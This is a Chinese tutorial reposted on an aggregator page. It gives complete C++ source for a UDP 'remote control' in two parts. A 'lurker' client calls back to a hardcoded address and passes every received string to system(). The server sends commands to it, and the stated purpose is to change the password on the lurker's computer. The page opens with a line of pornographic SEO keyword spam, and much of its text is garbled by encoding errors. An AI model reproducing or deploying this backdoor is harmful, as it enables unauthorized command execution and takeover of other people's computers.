日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > c/c++ >内容正文

c/c++

C/C++轻松写基于UDP的远程控制

發(fā)布時(shí)間:2025/3/15 c/c++ 19 豆豆
生活随笔 收集整理的這篇文章主要介紹了 C/C++轻松写基于UDP的远程控制 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

思路:

打開socket,服務(wù)端輸入字符串,客戶端接受后運(yùn)行cmd,從而修改潛伏者所在電腦密碼

局限性:

如果要進(jìn)行兩個(gè)不同的局域網(wǎng)通信就得要一個(gè)公有IP進(jìn)行轉(zhuǎn)發(fā),或者打洞。


解釋

1.局域網(wǎng):每一個(gè)路由器(家庭版)劃分廣播域(思科或華為的設(shè)備每一個(gè)端口是一個(gè)廣播域)---這里要說明下,其實(shí)家庭版的路由器應(yīng)該叫交換機(jī),本文用家庭版路由器代替

2.打洞:因?yàn)槁酚善饔邪踩δ?#xff0c;不能讓外網(wǎng)的數(shù)據(jù)訪問內(nèi)網(wǎng),但如果內(nèi)網(wǎng)主動(dòng)與外網(wǎng)建立連接后,外網(wǎng)就可以訪問內(nèi)網(wǎng)

3.UDP:不可靠,會(huì)丟包

4.相關(guān)協(xié)議:NAT和NAPT


我們這個(gè)是簡單的內(nèi)網(wǎng)通信,所以不用考慮那么多


下面不再講解socket具體函數(shù)實(shí)現(xiàn),直接上代碼


服務(wù)器:

SocketUdp.h

#ifndef _SOCKET_UDP_ #define _SOCKET_UDP_#include <stdio.h> #include <WinSock2.h>#pragma comment(lib,"ws2_32.lib")class Socket_udp { public:Socket_udp(int port);~Socket_udp();void run(); private:int m_port; //端口號(hào)sockaddr_in serAddr;SOCKET serSocket;sockaddr_in remoteAddr;int nAddrLen; };Socket_udp::Socket_udp(int port) {WSADATA wsaData;WORD sockVersion = MAKEWORD(2, 2);m_port = port;if (WSAStartup(sockVersion, &wsaData) != 0){printf("Socket_udp打開失敗!\n");system("pause");exit(0);}serSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);if (serSocket == INVALID_SOCKET){printf("Socket為無用狀態(tài)!\n");system("pause");exit(0);}serAddr.sin_family = AF_INET;serAddr.sin_port = htons(m_port);serAddr.sin_addr.S_un.S_addr = INADDR_ANY;if (bind(serSocket, (sockaddr *)&serAddr, sizeof(serAddr)) == SOCKET_ERROR){printf("bind連接失敗!\n");closesocket(serSocket);WSACleanup();exit(0);}nAddrLen = sizeof(remoteAddr);printf("服務(wù)器已經(jīng)開啟!等待中!\n"); }void Socket_udp::run() {char buf[1024];char sendbuf[1024];int n = recvfrom(serSocket, buf, sizeof(buf), 0, (sockaddr *)&remoteAddr, &nAddrLen);printf_s("%s:%s\n", inet_ntoa(remoteAddr.sin_addr), buf);while (true){printf_s("輸入命令:");gets_s(sendbuf);sendto(serSocket, sendbuf, sizeof(sendbuf), 0, (sockaddr*)&remoteAddr, nAddrLen);}system("pause"); }Socket_udp::~Socket_udp() {closesocket(serSocket);WSACleanup(); }#endif mian.cpp

#include "SocketUdp.h"int main() {Socket_udp socket_udp(9999);socket_udp.run();return 0; }


潛伏者

Socket_udp.h

#ifndef _UDP_CLI_ #define _UDP_CLI_#include <stdio.h> #include <winsock2.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") class Socket_udp { public:Socket_udp(char ip[128], int port);~Socket_udp();void run(); private:int m_port;char m_ip[128];sockaddr_in sin;int m_len;SOCKET sclient; };Socket_udp::Socket_udp(char ip[128], int port) {strcpy_s(m_ip, ip);m_port = port;WORD socketVersion = MAKEWORD(2, 2);WSADATA wsaData;if (WSAStartup(socketVersion, &wsaData) != 0)exit(0);sclient = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);sin.sin_family = AF_INET;sin.sin_port = htons(m_port);sin.sin_addr.S_un.S_addr = inet_addr(m_ip);m_len = sizeof(sin); }void Socket_udp::run() {char sendbuf[1024] = "潛伏者上線";char recvbuf[1024];sendto(sclient, sendbuf, sizeof(sendbuf), 0, (sockaddr *)&sin, m_len);while (1){recvfrom(sclient, recvbuf, sizeof(recvbuf), 0, (sockaddr *)&sin, &m_len);printf_s("%s\n", recvbuf);system(recvbuf);} } Socket_udp::~Socket_udp() {closesocket(sclient);WSACleanup(); }#endif // !_UDP_CLI_ main.cpp

#include "Socket_udp.h" int main() {Socket_udp socket_udp("192.168.164.100", 9999);socket_udp.run();return 0; }
注意:打包時(shí)要設(shè)置運(yùn)行庫



下面是運(yùn)行結(jié)果:

先運(yùn)行服務(wù)器,再運(yùn)行潛伏者,結(jié)果如下



服務(wù)器輸入ipconfig后




服務(wù)器修改潛伏者所在電腦的密碼


總結(jié)

以上是生活随笔為你收集整理的C/C++轻松写基于UDP的远程控制的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。